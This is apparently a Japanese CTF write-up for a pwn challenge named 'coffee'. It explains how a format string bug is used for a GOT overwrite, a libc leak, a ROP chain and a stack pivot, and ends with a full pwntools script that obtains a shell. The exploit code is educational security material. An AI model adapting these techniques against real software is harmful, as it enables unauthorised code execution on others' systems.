TL;DR

  • 自明なFSBがある上にPartial RELROなのでGOT Overwriteが狙える
  • mainに戻っても特に出来る事は無いのでFSBのペイロードの下にROPチェーンを書いてROPをする
  • ペイロードの長さ制限が際どいのでlibc leak後にscanfを利用してstack pivotする

Prerequisite

  • Stack Pivot

Writeup

次のC言語のコードをコンパイルしたバイナリが動いている

#include <stdio.h>

int x = 0xc0ffee;
int main(void) {
    char buf[160];
    scanf("%159s", buf);
    if (x == 0xc0ffee) {
        printf(buf);
        x = 0;
    }
    puts("bye");
}

checksecした結果は次の通り

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

自明なFSBがある上にPartial RELROなのでGOT Overwriteが出来る。やってくれと言わんばかりにputsが真下にあるのでこいつのGOTを書き換える。

問題はどのアドレスに書き換えるかである。仮にlibc leakが出来たとしてもその値をまたどこかに書き込まなくてはならないのでmainに戻る等で再度なんらかの入力関数を呼び出さないといけない。しかし、mainに戻ったところでif (x == 0xc0ffee)のせいで再度FSBを利用する事は出来ず、事前のscanfbufにしか書き込めないので特に意味のあることはできそうにない。

putsのGOTに書かれたアドレスが呼ばれる時、スタックはmainのものとほとんど同じはずなのでbufにROPチェーンを書いておけばROPが出来るような予感がする。

但し、bufの先頭にはFSB用のペイロードをおいておかなくてはならないので、ROPには使えず、起点となるputsのGOTに書き込むガジェットとしてpopadd rspでスタックの最初の方を無視できるようなガジェットが必要である。大量にpopするガジェットと言えば__libc_csu_init内にあるpop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retがあり、更にこの上はadd rsp,0x8があるので結構なサイズのスタックを飛ばしてrspを大きくすることが出来る。

ところでFSBがあることから%sを利用してアドレスの中身を見ることも出来る。printfが呼ばれるタイミングで既にscanfは呼ばれていることからここのGOTにはlibc中のアドレスが存在する。よって書き込みと同時に読み出しも行えば、libc leakとGOT Overwriteの両方が同時に出来る。

GDBでスタックの様子を覗いたりした結果、ペイロードの構造は次のようになった。

   f"%{offset+2}$s"                    # libc leak用
 + f"%{0x86 - 6}c%{offset}$lln"        # putsのGOT書き換え用 (1バイト目)
 + f"%{0x4012 - 0x86}c%{offset+1}$hn"  # putsのGOT書き換え用 (2バイト目と3バイト目)
 + ROP
 + p64(addrs["puts_got"])              # FSBでガジェットを書き込む
 + p64(addrs["puts_got"] + 1)          # FSBでガジェットを書き込む
 + p64(addrs["scanf_got"])             # FSBで読み出し

処理の順序は「FSBのペイロードを送る -> printfでFSB発火 -> libc leak -> ROPチェーン発動」となっている。よって、ROPチェーン中でscanfを実行すればリークしたlibcのアドレスを使ってsystemのアドレスをなんらかのGOTに書き込むといったことが出来る(なお、ネタバレをするとこれはあらゆる理由で断念した)。

ROPチェーン中でscanfを利用するために、フォーマット文字列を用意する必要があるが、コードで使われている%159sを利用しようとするとここのアドレスに0x20が含まれてしまうせいで最初にscanfでペイロードを送り込む際にここで止まってしまう。というわけで冒頭のFSBでwritableな領域にフォーマット文字列を用意しておく必要がある。これでFSBのペイロードは次のように修正された。

   f"%{offset+2}$s"                        # libc leak用
 + f"%{0x86 - 6}c%{offset}$lln"            # putsのGOT書き換え用 (1バイト目)
 + f"%{0x4012 - 0x86}c%{offset+1}$hn"      # putsのGOT書き換え用 (2バイト目と3バイト目)
 + f"%{fmt_scanf - 0x4012}c%{offset+3}$hn" # バイナリに"%s"を書き込む用
 + ROP
 + p64(addrs["puts_got"])                  # FSBでガジェットを書き込む
 + p64(addrs["puts_got"] + 1)              # FSBでガジェットを書き込む
 + p64(addrs["scanf_got"])                 # FSBで読み出し
 + p64(addrs["bss"])                       # FSBで"%s"を書き込む

というわけでscanfを使ってputsのGOTをlibc中のsystemのアドレスに書き換え、ROPチェーンの最後でputs("/bin/sh")をしてシェルを取ろうとしたのだが、scanfsystemもSIMD命令を使う都合上、スタックのアライメントをretガジェットで調整する必要がある。更にrsiにpopするガジェットが同時にr15にもpopするため、余分な値をスタックに入れておかなくてはならない。これらの理由によってROPチェーンは長くなり、上手くやろうとすると入力制限である159バイトを超えてしまう。

ROPとFSBでコードゴルフはしたくなかったので、ROPチェーン中のscanfで任意アドレスへの書き込みが出来る事を利用し、writableな領域を偽のスタックとしてROPチェーンの続きを書き込んでStack Pivotを行うことにした。

Code

from pwn import process, remote, ELF, p64, u64
from Crypto.Util.number import bytes_to_long

def dict_hexdump(d):
    for k, addr in d.items():
        print(f"{k}: {hex(addr)}")


binary_path = "./coffee"
libc_path = "./libc.so.6"
elf = ELF(binary_path)
libc = ELF(libc_path)

addrs = {
    "puts_got": elf.got["puts"],
    "puts_plt": elf.plt["puts"],
    "scanf_plt": elf.plt["__isoc99_scanf"],
    "scanf_got": elf.got["__isoc99_scanf"],
    "fmt_scanf": next(elf.search(b"%159s")),
    "bss": 0x40404c,
    "scanf_libc": libc.symbols["__isoc99_scanf"],
    "system_libc": libc.symbols["system"],
    "execve_libc": libc.symbols["execve"],
    "one_gadget": 0xe6e79,
    "pivot": 0x404800
}

rop_gadgets = {
    "add_rsp_8_pop_6": 0x401286,
    "pop_rdi": 0x401293,
    "pop_rsi_r15": 0x401291,
    "ret": 0x40101a,
    "leave": 0x40121f,
    "pop_rbp": 0x40117d
}

fsb_addrs = p64(addrs["puts_got"]) + p64(addrs["puts_got"] + 1) + p64(addrs["scanf_got"]) + p64(addrs["bss"])

dict_hexdump(addrs)

print("[+] Exploit")
# exploit
# sc = process([binary_path])
sc = remote("localhost", 13337)

fmt_scanf = u64(b"%s" + b"\x00" * 6)
offset = 22
payload = f"%{offset+2}$s%{0x86 - 6}c%{offset}$lln%{0x4012 - 0x86}c%{offset+1}$hn%{fmt_scanf - 0x4012}c%{offset+3}$hn".encode()
current_length = len(payload)
payload += b"\x00" * (8 - current_length % 8)
payload += p64(rop_gadgets["pop_rdi"])  # 12
payload += p64(addrs["bss"])  # 13
payload += p64(rop_gadgets["pop_rsi_r15"]) # 14
payload += p64(addrs["pivot"]) # 15
payload += p64(0)  # 16
payload += p64(rop_gadgets["ret"]) # 17
payload += p64(addrs["scanf_plt"])  # 18
payload += p64(rop_gadgets["pop_rbp"])  # 19
payload += p64(addrs["pivot"])  # 20
payload += p64(rop_gadgets["leave"])  # 21

payload += fsb_addrs

payload = payload[:-2]  # for limit of payload length

print(len(payload), payload)

sc.sendline(payload)
res = u64(sc.recv(6) + b"\x00\x00")
libc_leak = res - addrs["scanf_libc"]
print(hex(libc_leak))

# input("[+] Attaching")

system_libc = libc_leak + addrs["system_libc"]
binsh_libc = libc_leak + next(libc.search(b"/bin/sh"))

# fake stack
payload2 = p64(addrs["pivot"] + 0x300)  # for pop rbp in leave and writable address
payload2 += p64(rop_gadgets["pop_rdi"])
payload2 += p64(binsh_libc)
payload2 += p64(rop_gadgets["ret"])
payload2 += p64(system_libc)

sc.sendline(payload2)

sc.interactive()

Flag

ローカルでシェル取っただけ